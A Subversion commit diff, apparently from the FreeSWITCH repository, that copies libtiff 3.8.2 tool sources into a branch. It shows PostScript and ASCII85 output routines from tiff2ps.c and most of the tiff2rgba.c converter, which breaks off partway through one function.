+	PhotoshopBanner(fd, w, h, ps_bytesperrow, nc, "true %d colorimage");
+	for (i = 0; i < nc; i++)
+		fprintf(fd, "/line%d %ld string def\n",
+		    i, (long) ps_bytesperrow);
+	fprintf(fd, "%lu %lu %d\n",
+	    (unsigned long) w, (unsigned long) h, bitspersample);
+	fprintf(fd, "[%lu 0 0 -%lu 0 %lu] \n",
+	    (unsigned long) w, (unsigned long) h, (unsigned long) h);
+	for (i = 0; i < nc; i++)
+		fprintf(fd, "{currentfile line%d readhexstring pop}bind\n", i);
+	fprintf(fd, "true %d colorimage\n", nc);
+}
+
+#define	DOBREAK(len, howmany, fd) \
+	if (((len) -= (howmany)) <= 0) {	\
+		putc('\n', fd);			\
+		(len) = MAXLINE-(howmany);	\
+	}
+#define	PUTHEX(c,fd)	putc(hex[((c)>>4)&0xf],fd); putc(hex[(c)&0xf],fd)
+
+void
+PSDataColorContig(FILE* fd, TIFF* tif, uint32 w, uint32 h, int nc)
+{
+	uint32 row;
+	int breaklen = MAXLINE, cc, es = samplesperpixel - nc;
+	unsigned char *tf_buf;
+	unsigned char *cp, c;
+
+	(void) w;
+	tf_buf = (unsigned char *) _TIFFmalloc(tf_bytesperrow);
+	if (tf_buf == NULL) {
+		TIFFError(filename, "No space for scanline buffer");
+		return;
+	}
+	for (row = 0; row < h; row++) {
+		if (TIFFReadScanline(tif, tf_buf, row, 0) < 0)
+			break;
+		cp = tf_buf;
+		if (alpha) {
+			int adjust;
+			cc = 0;
+			for (; cc < tf_bytesperrow; cc += samplesperpixel) {
+				DOBREAK(breaklen, nc, fd);
+				/*
+				 * For images with alpha, matte against
+				 * a white background; i.e.
+				 *    Cback * (1 - Aimage)
+				 * where Cback = 1.
+				 */
+				adjust = 255 - cp[nc];
+				switch (nc) {
+				case 4: c = *cp++ + adjust; PUTHEX(c,fd);
+				case 3: c = *cp++ + adjust; PUTHEX(c,fd);
+				case 2: c = *cp++ + adjust; PUTHEX(c,fd);
+				case 1: c = *cp++ + adjust; PUTHEX(c,fd);
+				}
+				cp += es;
+			}
+		} else {
+			cc = 0;
+			for (; cc < tf_bytesperrow; cc += samplesperpixel) {
+				DOBREAK(breaklen, nc, fd);
+				switch (nc) {
+				case 4: c = *cp++; PUTHEX(c,fd);
+				case 3: c = *cp++; PUTHEX(c,fd);
+				case 2: c = *cp++; PUTHEX(c,fd);
+				case 1: c = *cp++; PUTHEX(c,fd);
+				}
+				cp += es;
+			}
+		}
+	}
+	_TIFFfree((char *) tf_buf);
+}
+
+void
+PSDataColorSeparate(FILE* fd, TIFF* tif, uint32 w, uint32 h, int nc)
+{
+	uint32 row;
+	int breaklen = MAXLINE, cc;
+	tsample_t s, maxs;
+	unsigned char *tf_buf;
+	unsigned char *cp, c;
+
+	(void) w;
+	tf_buf = (unsigned char *) _TIFFmalloc(tf_bytesperrow);
+	if (tf_buf == NULL) {
+		TIFFError(filename, "No space for scanline buffer");
+		return;
+	}
+	maxs = (samplesperpixel > nc ? nc : samplesperpixel);
+	for (row = 0; row < h; row++) {
+		for (s = 0; s < maxs; s++) {
+			if (TIFFReadScanline(tif, tf_buf, row, s) < 0)
+				break;
+			for (cp = tf_buf, cc = 0; cc < tf_bytesperrow; cc++) {
+				DOBREAK(breaklen, 1, fd);
+				c = *cp++;
+				PUTHEX(c,fd);
+			}
+		}
+	}
+	_TIFFfree((char *) tf_buf);
+}
+
+#define	PUTRGBHEX(c,fd) \
+	PUTHEX(rmap[c],fd); PUTHEX(gmap[c],fd); PUTHEX(bmap[c],fd)
+
+void
+PSDataPalette(FILE* fd, TIFF* tif, uint32 w, uint32 h)
+{
+	uint16 *rmap, *gmap, *bmap;
+	uint32 row;
+	int breaklen = MAXLINE, cc, nc;
+	unsigned char *tf_buf;
+	unsigned char *cp, c;
+
+	(void) w;
+	if (!TIFFGetField(tif, TIFFTAG_COLORMAP, &rmap, &gmap, &bmap)) {
+		TIFFError(filename, "Palette image w/o \"Colormap\" tag");
+		return;
+	}
+	switch (bitspersample) {
+	case 8:	case 4: case 2: case 1:
+		break;
+	default:
+		TIFFError(filename, "Depth %d not supported", bitspersample);
+		return;
+	}
+	nc = 3 * (8 / bitspersample);
+	tf_buf = (unsigned char *) _TIFFmalloc(tf_bytesperrow);
+	if (tf_buf == NULL) {
+		TIFFError(filename, "No space for scanline buffer");
+		return;
+	}
+	if (checkcmap(tif, 1<<bitspersample, rmap, gmap, bmap) == 16) {
+		int i;
+#define	CVT(x)		((unsigned short) (((x) * 255) / ((1U<<16)-1)))
+		for (i = (1<<bitspersample)-1; i >= 0; i--) {
+			rmap[i] = CVT(rmap[i]);
+			gmap[i] = CVT(gmap[i]);
+			bmap[i] = CVT(bmap[i]);
+		}
+#undef CVT
+	}
+	for (row = 0; row < h; row++) {
+		if (TIFFReadScanline(tif, tf_buf, row, 0) < 0)
+			break;
+		for (cp = tf_buf, cc = 0; cc < tf_bytesperrow; cc++) {
+			DOBREAK(breaklen, nc, fd);
+			switch (bitspersample) {
+			case 8:
+				c = *cp++; PUTRGBHEX(c, fd);
+				break;
+			case 4:
+				c = *cp++; PUTRGBHEX(c&0xf, fd);
+				c >>= 4;   PUTRGBHEX(c, fd);
+				break;
+			case 2:
+				c = *cp++; PUTRGBHEX(c&0x3, fd);
+				c >>= 2;   PUTRGBHEX(c&0x3, fd);
+				c >>= 2;   PUTRGBHEX(c&0x3, fd);
+				c >>= 2;   PUTRGBHEX(c, fd);
+				break;
+			case 1:
+				c = *cp++; PUTRGBHEX(c&0x1, fd);
+				c >>= 1;   PUTRGBHEX(c&0x1, fd);
+				c >>= 1;   PUTRGBHEX(c&0x1, fd);
+				c >>= 1;   PUTRGBHEX(c&0x1, fd);
+				c >>= 1;   PUTRGBHEX(c&0x1, fd);
+				c >>= 1;   PUTRGBHEX(c&0x1, fd);
+				c >>= 1;   PUTRGBHEX(c&0x1, fd);
+				c >>= 1;   PUTRGBHEX(c, fd);
+				break;
+			}
+		}
+	}
+	_TIFFfree((char *) tf_buf);
+}
+
+void
+PSDataBW(FILE* fd, TIFF* tif, uint32 w, uint32 h)
+{
+	int breaklen = MAXLINE;
+	unsigned char* tf_buf;
+	unsigned char* cp;
+	tsize_t stripsize = TIFFStripSize(tif);
+	tstrip_t s;
+
+#if defined( EXP_ASCII85ENCODER )
+	int	ascii85_l;		/* Length, in bytes, of ascii85_p[] data */
+	uint8	*ascii85_p = 0;		/* Holds ASCII85 encoded data */
+#endif
+
+	(void) w; (void) h;
+	tf_buf = (unsigned char *) _TIFFmalloc(stripsize);
+        memset(tf_buf, 0, stripsize);
+	if (tf_buf == NULL) {
+		TIFFError(filename, "No space for scanline buffer");
+		return;
+	}
+
+#if defined( EXP_ASCII85ENCODER )
+	if ( ascii85 ) {
+	    /*
+	     * Allocate a buffer to hold the ASCII85 encoded data.  Note
+	     * that it is allocated with sufficient room to hold the
+	     * encoded data (5*stripsize/4) plus the EOD marker (+8)
+	     * and formatting line breaks.  The line breaks are more
+	     * than taken care of by using 6*stripsize/4 rather than
+	     * 5*stripsize/4.
+	     */
+
+	    ascii85_p = _TIFFmalloc( (stripsize+(stripsize/2)) + 8 );
+
+	    if ( !ascii85_p ) {
+		_TIFFfree( tf_buf );
+
+		TIFFError( filename, "Cannot allocate ASCII85 encoding buffer." );
+		return;
+	    }
+	}
+#endif
+
+	if (ascii85)
+		Ascii85Init();
+
+	for (s = 0; s < TIFFNumberOfStrips(tif); s++) {
+		int cc = TIFFReadEncodedStrip(tif, s, tf_buf, stripsize);
+		if (cc < 0) {
+			TIFFError(filename, "Can't read strip");
+			break;
+		}
+		cp = tf_buf;
+		if (photometric == PHOTOMETRIC_MINISWHITE) {
+			for (cp += cc; --cp >= tf_buf;)
+				*cp = ~*cp;
+			cp++;
+		}
+		if (ascii85) {
+#if defined( EXP_ASCII85ENCODER )
+			if (alpha) {
+				int adjust, i;
+				for (i = 0; i < cc; i+=2) {
+					adjust = 255 - cp[i + 1];
+				    cp[i / 2] = cp[i] + adjust;
+				}
+				cc /= 2;
+			}
+
+			ascii85_l = Ascii85EncodeBlock( ascii85_p, 1, cp, cc );
+
+			if ( ascii85_l > 0 )
+			    fwrite( ascii85_p, ascii85_l, 1, fd );
+#else
+			while (cc-- > 0)
+				Ascii85Put(*cp++, fd);
+#endif /* EXP_ASCII85_ENCODER */
+		} else {
+			unsigned char c;
+
+			if (alpha) {
+				int adjust;
+				while (cc-- > 0) {
+					DOBREAK(breaklen, 1, fd);
+					/*
+					 * For images with alpha, matte against
+					 * a white background; i.e.
+					 *    Cback * (1 - Aimage)
+					 * where Cback = 1.
+					 */
+					adjust = 255 - cp[1];
+					c = *cp++ + adjust; PUTHEX(c,fd);
+					cp++, cc--;
+				}
+			} else {
+				while (cc-- > 0) {
+					c = *cp++;
+					DOBREAK(breaklen, 1, fd);
+					PUTHEX(c, fd);
+				}
+			}
+		}
+	}
+
+	if ( !ascii85 )
+	{
+	    if ( level2 || level3)
+		fputs(">\n", fd);
+	}
+#if !defined( EXP_ASCII85ENCODER )
+	else
+	    Ascii85Flush(fd);
+#else
+	if ( ascii85_p )
+	    _TIFFfree( ascii85_p );
+#endif
+
+	_TIFFfree(tf_buf);
+}
+
+void
+PSRawDataBW(FILE* fd, TIFF* tif, uint32 w, uint32 h)
+{
+	uint32 *bc;
+	uint32 bufsize;
+	int breaklen = MAXLINE, cc;
+	uint16 fillorder;
+	unsigned char *tf_buf;
+	unsigned char *cp, c;
+	tstrip_t s;
+
+#if defined( EXP_ASCII85ENCODER )
+	int			ascii85_l;		/* Length, in bytes, of ascii85_p[] data */
+	uint8		*	ascii85_p = 0;		/* Holds ASCII85 encoded data */
+#endif
+
+	(void) w; (void) h;
+	TIFFGetFieldDefaulted(tif, TIFFTAG_FILLORDER, &fillorder);
+	TIFFGetField(tif, TIFFTAG_STRIPBYTECOUNTS, &bc);
+
+	/*
+	 * Find largest strip:
+	 */
+
+	bufsize = bc[0];
+
+	for ( s = 0; ++s < (tstrip_t)tf_numberstrips; ) {
+		if ( bc[s] > bufsize )
+			bufsize = bc[s];
+	}
+
+	tf_buf = (unsigned char*) _TIFFmalloc(bufsize);
+	if (tf_buf == NULL) {
+		TIFFError(filename, "No space for strip buffer");
+		return;
+	}
+
+#if defined( EXP_ASCII85ENCODER )
+	if ( ascii85 ) {
+	    /*
+	     * Allocate a buffer to hold the ASCII85 encoded data.  Note
+	     * that it is allocated with sufficient room to hold the
+	     * encoded data (5*bufsize/4) plus the EOD marker (+8)
+	     * and formatting line breaks.  The line breaks are more
+	     * than taken care of by using 6*bufsize/4 rather than
+	     * 5*bufsize/4.
+	     */
+
+	    ascii85_p = _TIFFmalloc( (bufsize+(bufsize/2)) + 8 );
+
+	    if ( !ascii85_p ) {
+		_TIFFfree( tf_buf );
+
+		TIFFError( filename, "Cannot allocate ASCII85 encoding buffer." );
+		return;
+	    }
+	}
+#endif
+
+	for (s = 0; s < (tstrip_t) tf_numberstrips; s++) {
+		cc = TIFFReadRawStrip(tif, s, tf_buf, bc[s]);
+		if (cc < 0) {
+			TIFFError(filename, "Can't read strip");
+			break;
+		}
+		if (fillorder == FILLORDER_LSB2MSB)
+			TIFFReverseBits(tf_buf, cc);
+		if (!ascii85) {
+			for (cp = tf_buf; cc > 0; cc--) {
+				DOBREAK(breaklen, 1, fd);
+				c = *cp++;
+				PUTHEX(c, fd);
+			}
+			fputs(">\n", fd);
+			breaklen = MAXLINE;
+		} else {
+			Ascii85Init();
+#if defined( EXP_ASCII85ENCODER )
+			ascii85_l = Ascii85EncodeBlock( ascii85_p, 1, tf_buf, cc );
+
+			if ( ascii85_l > 0 )
+				fwrite( ascii85_p, ascii85_l, 1, fd );
+#else
+			for (cp = tf_buf; cc > 0; cc--)
+				Ascii85Put(*cp++, fd);
+			Ascii85Flush(fd);
+#endif	/* EXP_ASCII85ENCODER */
+		}
+	}
+	_TIFFfree((char *) tf_buf);
+
+#if defined( EXP_ASCII85ENCODER )
+	if ( ascii85_p )
+		_TIFFfree( ascii85_p );
+#endif
+}
+
+void
+Ascii85Init(void)
+{
+	ascii85breaklen = 2*MAXLINE;
+	ascii85count = 0;
+}
+
+static char*
+Ascii85Encode(unsigned char* raw)
+{
+	static char encoded[6];
+	uint32 word;
+
+	word = (((raw[0]<<8)+raw[1])<<16) + (raw[2]<<8) + raw[3];
+	if (word != 0L) {
+		uint32 q;
+		uint16 w1;
+
+		q = word / (85L*85*85*85);	/* actually only a byte */
+		encoded[0] = (char) (q + '!');
+
+		word -= q * (85L*85*85*85); q = word / (85L*85*85);
+		encoded[1] = (char) (q + '!');
+
+		word -= q * (85L*85*85); q = word / (85*85);
+		encoded[2] = (char) (q + '!');
+
+		w1 = (uint16) (word - q*(85L*85));
+		encoded[3] = (char) ((w1 / 85) + '!');
+		encoded[4] = (char) ((w1 % 85) + '!');
+		encoded[5] = '\0';
+	} else
+		encoded[0] = 'z', encoded[1] = '\0';
+	return (encoded);
+}
+
+void
+Ascii85Put(unsigned char code, FILE* fd)
+{
+	ascii85buf[ascii85count++] = code;
+	if (ascii85count >= 4) {
+		unsigned char* p;
+		int n;
+
+		for (n = ascii85count, p = ascii85buf; n >= 4; n -= 4, p += 4) {
+			char* cp;
+			for (cp = Ascii85Encode(p); *cp; cp++) {
+				putc(*cp, fd);
+				if (--ascii85breaklen == 0) {
+					putc('\n', fd);
+					ascii85breaklen = 2*MAXLINE;
+				}
+			}
+		}
+		_TIFFmemcpy(ascii85buf, p, n);
+		ascii85count = n;
+	}
+}
+
+void
+Ascii85Flush(FILE* fd)
+{
+	if (ascii85count > 0) {
+		char* res;
+		_TIFFmemset(&ascii85buf[ascii85count], 0, 3);
+		res = Ascii85Encode(ascii85buf);
+		fwrite(res[0] == 'z' ? "!!!!" : res, ascii85count + 1, 1, fd);
+	}
+	fputs("~>\n", fd);
+}
+#if	defined( EXP_ASCII85ENCODER)
+
+#define A85BREAKCNTR    ascii85breaklen
+#define A85BREAKLEN     (2*MAXLINE)
+
+/*****************************************************************************
+*
+* Name:         Ascii85EncodeBlock( ascii85_p, f_eod, raw_p, raw_l )
+*
+* Description:  This routine will encode the raw data in the buffer described
+*               by raw_p and raw_l into ASCII85 format and store the encoding
+*               in the buffer given by ascii85_p.
+*
+* Parameters:   ascii85_p   -   A buffer supplied by the caller which will
+*                               contain the encoded ASCII85 data.
+*               f_eod       -   Flag: Nz means to end the encoded buffer with
+*                               an End-Of-Data marker.
+*               raw_p       -   Pointer to the buffer of data to be encoded
+*               raw_l       -   Number of bytes in raw_p[] to be encoded
+*
+* Returns:      (int)   <   0   Error, see errno
+*                       >=  0   Number of bytes written to ascii85_p[].
+*
+* Notes:        An external variable given by A85BREAKCNTR is used to
+*               determine when to insert newline characters into the
+*               encoded data.  As each byte is placed into ascii85_p this
+*               external is decremented.  If the variable is decrement to
+*               or past zero then a newline is inserted into ascii85_p
+*               and the A85BREAKCNTR is then reset to A85BREAKLEN.
+*                   Note:  for efficiency reasons the A85BREAKCNTR variable
+*                          is not actually checked on *every* character
+*                          placed into ascii85_p but often only for every
+*                          5 characters.
+*
+*               THE CALLER IS RESPONSIBLE FOR ENSURING THAT ASCII85_P[] IS
+*               SUFFICIENTLY LARGE TO THE ENCODED DATA!
+*                   You will need at least 5 * (raw_l/4) bytes plus space for
+*                   newline characters and space for an EOD marker (if
+*                   requested).  A safe calculation is to use 6*(raw_l/4) + 8
+*                   to size ascii85_p.
+*
+*****************************************************************************/
+
+int Ascii85EncodeBlock( uint8 * ascii85_p, unsigned f_eod, const uint8 * raw_p, int raw_l )
+
+{
+    char                        ascii85[5];     /* Encoded 5 tuple */
+    int                         ascii85_l;      /* Number of bytes written to ascii85_p[] */
+    int                         rc;             /* Return code */
+    uint32                      val32;          /* Unencoded 4 tuple */
+
+    ascii85_l = 0;                              /* Nothing written yet */
+
+    if ( raw_p )
+    {
+        --raw_p;                                /* Prepare for pre-increment fetches */
+
+        for ( ; raw_l > 3; raw_l -= 4 )
+        {
+            val32  = *(++raw_p) << 24;
+            val32 += *(++raw_p) << 16;
+            val32 += *(++raw_p) <<  8;
+            val32 += *(++raw_p);
+    
+            if ( val32 == 0 )                   /* Special case */
+            {
+                ascii85_p[ascii85_l] = 'z';
+                rc = 1;
+            }
+    
+            else
+            {
+                ascii85[4] = (char) ((val32 % 85) + 33);
+                val32 /= 85;
+    
+                ascii85[3] = (char) ((val32 % 85) + 33);
+                val32 /= 85;
+    
+                ascii85[2] = (char) ((val32 % 85) + 33);
+                val32 /= 85;
+    
+                ascii85[1] = (char) ((val32 % 85) + 33);
+                ascii85[0] = (char) ((val32 / 85) + 33);
+
+                _TIFFmemcpy( &ascii85_p[ascii85_l], ascii85, sizeof(ascii85) );
+                rc = sizeof(ascii85);
+            }
+    
+            ascii85_l += rc;
+    
+            if ( (A85BREAKCNTR -= rc) <= 0 )
+            {
+                ascii85_p[ascii85_l] = '\n';
+                ++ascii85_l;
+                A85BREAKCNTR = A85BREAKLEN;
+            }
+        }
+    
+        /*
+         * Output any straggler bytes:
+         */
+    
+        if ( raw_l > 0 )
+        {
+            int             len;                /* Output this many bytes */
+    
+            len = raw_l + 1;
+            val32 = *++raw_p << 24;             /* Prime the pump */
+    
+            if ( --raw_l > 0 )  val32 += *(++raw_p) << 16;
+            if ( --raw_l > 0 )  val32 += *(++raw_p) <<  8;
+    
+            val32 /= 85;
+    
+            ascii85[3] = (char) ((val32 % 85) + 33);
+            val32 /= 85;
+    
+            ascii85[2] = (char) ((val32 % 85) + 33);
+            val32 /= 85;
+    
+            ascii85[1] = (char) ((val32 % 85) + 33);
+            ascii85[0] = (char) ((val32 / 85) + 33);
+    
+            _TIFFmemcpy( &ascii85_p[ascii85_l], ascii85, len );
+            ascii85_l += len;
+        }
+    }
+
+    /*
+     * If requested add an ASCII85 End Of Data marker:
+     */
+
+    if ( f_eod )
+    {
+        ascii85_p[ascii85_l++] = '~';
+        ascii85_p[ascii85_l++] = '>';
+        ascii85_p[ascii85_l++] = '\n';
+    }
+
+    return ( ascii85_l );
+
+}   /* Ascii85EncodeBlock() */
+
+#endif	/* EXP_ASCII85ENCODER */
+
+
+char* stuff[] = {
+"usage: tiff2ps [options] input.tif ...",
+"where options are:",
+" -1            generate PostScript Level 1 (default)",
+" -2            generate PostScript Level 2",
+" -3            generate PostScript Level 3",
+" -8            disable use of ASCII85 encoding with PostScript Level 2/3",
+" -a            convert all directories in file (default is first)",
+" -b #          set the bottom margin to # inches",
+" -c            center image (-b and -l still add to this)",
+" -d #          convert directory number #",
+" -D            enable duplex printing (two pages per sheet of paper)",
+" -e            generate Encapsulated PostScript (EPS) (implies -z)",
+" -h #          assume printed page height is # inches (default 11)",
+" -w #          assume printed page width is # inches (default 8.5)",
+" -H #          split image if height is more than # inches",
+" -L #          overLap split images by # inches",
+" -i #          enable/disable (Nz/0) pixel interpolation (default: enable)",
+" -l #          set the left margin to # inches",
+" -m            use \"imagemask\" operator instead of \"image\"",
+" -o #          convert directory at file offset #",
+" -O file       write PostScript to file instead of standard output",
+" -p            generate regular PostScript",
+" -r            rotate by 180 degrees",
+" -s            generate PostScript for a single image",
+" -T            print pages for top edge binding",
+" -x            override resolution units as centimeters",
+" -y            override resolution units as inches",
+" -z            enable printing in the deadzone (only for PostScript Level 2/3)",
+NULL
+};
+
+static void
+usage(int code)
+{
+	char buf[BUFSIZ];
+	int i;
+
+	setbuf(stderr, buf);
+        fprintf(stderr, "%s\n\n", TIFFGetVersion());
+	for (i = 0; stuff[i] != NULL; i++)
+		fprintf(stderr, "%s\n", stuff[i]);
+	exit(code);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiff2rgba.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiff2rgba.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/tiff2rgba.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiff2rgba.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiff2rgba.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,486 @@
+/* $Id: tiff2rgba.c,v 1.11 2004/11/03 00:28:24 fwarmerdam Exp $ */
+
+/*
+ * Copyright (c) 1991-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include "tif_config.h"
+
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+
+#ifdef HAVE_UNISTD_H
+# include <unistd.h>
+#endif
+
+#include "tiffio.h"
+
+#define	streq(a,b)	(strcmp(a,b) == 0)
+#define	CopyField(tag, v) \
+    if (TIFFGetField(in, tag, &v)) TIFFSetField(out, tag, v)
+
+#ifndef howmany
+#define	howmany(x, y)	(((x)+((y)-1))/(y))
+#endif
+#define	roundup(x, y)	(howmany(x,y)*((uint32)(y)))
+
+uint16	compression = COMPRESSION_PACKBITS;
+uint32	rowsperstrip = (uint32) -1;
+int	process_by_block = 0; /* default is whole image at once */
+int     no_alpha = 0;
+
+
+static	int tiffcvt(TIFF* in, TIFF* out);
+static	void usage(int code);
+
+int
+main(int argc, char* argv[])
+{
+    TIFF *in, *out;
+    int c;
+    extern int optind;
+    extern char *optarg;
+
+    while ((c = getopt(argc, argv, "c:r:t:bn")) != -1)
+        switch (c) {
+          case 'b':
+            process_by_block = 1;
+            break;
+            
+          case 'c':
+            if (streq(optarg, "none"))
+                compression = COMPRESSION_NONE;
+            else if (streq(optarg, "packbits"))
+                compression = COMPRESSION_PACKBITS;
+            else if (streq(optarg, "lzw"))
+                compression = COMPRESSION_LZW;
+            else if (streq(optarg, "jpeg"))
+                compression = COMPRESSION_JPEG;
+            else if (streq(optarg, "zip"))
+                compression = COMPRESSION_DEFLATE;
+            else
+                usage(-1);
+            break;
+
+          case 'r':
+            rowsperstrip = atoi(optarg);
+            break;
+
+          case 't':
+            rowsperstrip = atoi(optarg);
+            break;
+            
+          case 'n':
+            no_alpha = 1;
+            break;
+            
+          case '?':
+            usage(0);
+            /*NOTREACHED*/
+        }
+
+    if (argc - optind < 2)
+        usage(-1);
+
+    out = TIFFOpen(argv[argc-1], "w");
+    if (out == NULL)
+        return (-2);
+
+    for (; optind < argc-1; optind++) {
+        in = TIFFOpen(argv[optind], "r");
+        if (in != NULL) {
+            do {
+                if (!tiffcvt(in, out) ||
+                    !TIFFWriteDirectory(out)) {
+                    (void) TIFFClose(out);
+                    return (1);
+                }
+            } while (TIFFReadDirectory(in));
+            (void) TIFFClose(in);
+        }
+    }
+    (void) TIFFClose(out);
+    return (0);
+}
+
+static int
+cvt_by_tile( TIFF *in, TIFF *out )
+
+{
+    uint32* raster;			/* retrieve RGBA image */
+    uint32  width, height;		/* image width & height */
+    uint32  tile_width, tile_height;
+    uint32  row, col;
+    uint32  *wrk_line;
+    int	    ok = 1;
+
+    TIFFGetField(in, TIFFTAG_IMAGEWIDTH, &width);
+    TIFFGetField(in, TIFFTAG_IMAGELENGTH, &height);
+
+    if( !TIFFGetField(in, TIFFTAG_TILEWIDTH, &tile_width)
+        || !TIFFGetField(in, TIFFTAG_TILELENGTH, &tile_height) ) {
+        TIFFError(TIFFFileName(in), "Source image not tiled");
+        return (0);
+    }
+    
+    TIFFSetField(out, TIFFTAG_TILEWIDTH, tile_width );
+    TIFFSetField(out, TIFFTAG_TILELENGTH, tile_height );
+
+    /*
+     * Allocate tile buffer
+     */
+    raster = (uint32*)_TIFFmalloc(tile_width * tile_height * sizeof (uint32));
+    if (raster == 0) {
+        TIFFError(TIFFFileName(in), "No space for raster buffer");
+        return (0);
+    }
+
+    /*
+     * Allocate a scanline buffer for swapping during the vertical
+     * mirroring pass.
+     */
+    wrk_line = (uint32*)_TIFFmalloc(tile_width * sizeof (uint32));
+    if (!wrk_line) {
+        TIFFError(TIFFFileName(in), "No space for raster scanline buffer");
+        ok = 0;
+    }
+    
+    /*
+     * Loop over the tiles.
+     */
+    for( row = 0; ok && row < height; row += tile_height )
+    {
+        for( col = 0; ok && col < width; col += tile_width )
+        {
+            uint32 i_row;
+
+            /* Read the tile into an RGBA array */
+            if (!TIFFReadRGBATile(in, col, row, raster)) {
+                ok = 0;
+                break;
+            }
+
+            /*
+             * For some reason the TIFFReadRGBATile() function chooses the
+             * lower left corner as the origin.  Vertically mirror scanlines.
+             */
+            for( i_row = 0; i_row < tile_height / 2; i_row++ )
+            {
+                uint32	*top_line, *bottom_line;
+
+                top_line = raster + tile_width * i_row;
+                bottom_line = raster + tile_width * (tile_height-i_row-1);
+
+                _TIFFmemcpy(wrk_line, top_line, 4*tile_width);
+                _TIFFmemcpy(top_line, bottom_line, 4*tile_width);
+                _TIFFmemcpy(bottom_line, wrk_line, 4*tile_width);
+            }
+
+            /*
+             * Write out the result in a tile.
+             */
+
+            if( TIFFWriteEncodedTile( out,
+                                      TIFFComputeTile( out, col, row, 0, 0),
+                                      raster,
+                                      4 * tile_width * tile_height ) == -1 )
+            {
+                ok = 0;
+                break;
+            }
+        }
+    }
+
+    _TIFFfree( raster );
+    _TIFFfree( wrk_line );
+
+    return ok;
+}
+
+static int
+cvt_by_strip( TIFF *in, TIFF *out )
+
+{
+    uint32* raster;			/* retrieve RGBA image */
+    uint32  width, height;		/* image width & height */
+    uint32  row;
+    uint32  *wrk_line;
+    int	    ok = 1;
+
+    TIFFGetField(in, TIFFTAG_IMAGEWIDTH, &width);
+    TIFFGetField(in, TIFFTAG_IMAGELENGTH, &height);
+
+    if( !TIFFGetField(in, TIFFTAG_ROWSPERSTRIP, &rowsperstrip) ) {
+        TIFFError(TIFFFileName(in), "Source image not in strips");
+        return (0);
+    }
+    
+    TIFFSetField(out, TIFFTAG_ROWSPERSTRIP, rowsperstrip);
+
+    /*
+     * Allocate strip buffer
+     */
+    raster = (uint32*)_TIFFmalloc(width * rowsperstrip * sizeof (uint32));
+    if (raster == 0) {
+        TIFFError(TIFFFileName(in), "No space for raster buffer");
+        return (0);
+    }
+
+    /*
+     * Allocate a scanline buffer for swapping during the vertical
+     * mirroring pass.
+     */
+    wrk_line = (uint32*)_TIFFmalloc(width * sizeof (uint32));
+    if (!wrk_line) {
+        TIFFError(TIFFFileName(in), "No space for raster scanline buffer");
+        ok = 0;
+    }
+    
+    /*
+     * Loop over the strips.
+     */
+    for( row = 0; ok && row < height; row += rowsperstrip )
+    {
+        int	rows_to_write, i_row;
+
+        /* Read the strip into an RGBA array */
+        if (!TIFFReadRGBAStrip(in, row, raster)) {
+            ok = 0;
+            break;
+        }
+
+        /*
+         * Figure out the number of scanlines actually in this strip.
+         */
+        if( row + rowsperstrip > height )
+            rows_to_write = height - row;
+        else
+            rows_to_write = rowsperstrip;
+
+        /*
+         * For some reason the TIFFReadRGBAStrip() function chooses the
+         * lower left corner as the origin.  Vertically mirror scanlines.
+         */
+
+        for( i_row = 0; i_row < rows_to_write / 2; i_row++ )
+        {
+            uint32	*top_line, *bottom_line;
+
+            top_line = raster + width * i_row;
+            bottom_line = raster + width * (rows_to_write-i_row-1);
+
+            _TIFFmemcpy(wrk_line, top_line, 4*width);
+            _TIFFmemcpy(top_line, bottom_line, 4*width);
+            _TIFFmemcpy(bottom_line, wrk_line, 4*width);
+        }
+
+        /*
+         * Write out the result in a strip
+         */
+
+        if( TIFFWriteEncodedStrip( out, row / rowsperstrip, raster,
+                                   4 * rows_to_write * width ) == -1 )
+        {
+            ok = 0;
+            break;
+        }
+    }
+
+    _TIFFfree( raster );
+    _TIFFfree( wrk_line );
+
+    return ok;
+}
+
+/*
+ * cvt_whole_image()
+ *
+ * read the whole image into one big RGBA buffer and then write out
+ * strips from that.  This is using the traditional TIFFReadRGBAImage()
+ * API that we trust.
+ */
+
+static int
+cvt_whole_image( TIFF *in, TIFF *out )
+
+{
+    uint32* raster;			/* retrieve RGBA image */
+    uint32  width, height;		/* image width & height */
+    uint32  row;
+        
+    TIFFGetField(in, TIFFTAG_IMAGEWIDTH, &width);
+    TIFFGetField(in, TIFFTAG_IMAGELENGTH, &height);
+
+    rowsperstrip = TIFFDefaultStripSize(out, rowsperstrip);
+    TIFFSetField(out, TIFFTAG_ROWSPERSTRIP, rowsperstrip);
+
+    raster = (uint32*)_TIFFmalloc(width * height * sizeof (uint32));
+    if (raster == 0) {
+        TIFFError(TIFFFileName(in), "No space for raster buffer");
+        return (0);
+    }
+
+    /* Read the image in one chunk into an RGBA array */
+    if (!TIFFReadRGBAImageOriented(in, width, height, raster,
